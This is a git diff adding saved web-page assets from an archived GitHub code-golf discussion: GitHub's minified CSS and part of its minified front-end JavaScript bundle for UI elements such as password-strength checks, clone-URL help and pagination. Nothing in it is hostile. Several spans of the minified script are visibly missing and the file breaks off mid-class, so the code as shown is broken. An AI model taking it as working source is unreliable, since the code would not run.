.info{padding-top:0;padding-bottom:0;margin-top:-8px;font-size:12px;line-height:18px;color:var(--color-fg-muted);text-align:center}.setup-info-module{margin-bottom:32px;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:0 1px 3px rgba(0,0,0,.075)}.setup-info-module h2{padding:16px;margin-bottom:16px;overflow:hidden;font-size:16px;border-bottom:1px solid var(--color-border-default)}.setup-info-module h2 .price{float:right;font-weight:600;color:var(--color-fg-muted)}.setup-info-module h3{padding:0 16px;margin:0 0 -8px;font-size:14px}.setup-info-module p{padding:0 16px;margin:16px 0}.features-list{padding:0 16px 16px;margin:0;font-size:14px;list-style:none}.features-list li{margin-top:8px}.features-list li:first-child{margin-top:0}.features-list .list-divider{margin:16px -16px;border-top:1px solid var(--color-border-muted)}.features-list .octicon-check{margin-right:4px;color:var(--color-success-fg)}.features-list .octicon-question{font-size:12px;color:var(--color-fg-muted)}.features-list .tooltipped::after{width:250px;white-space:normal}.setup-form-container .setup-form-title{font-size:16px}.setup-form-container .secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class 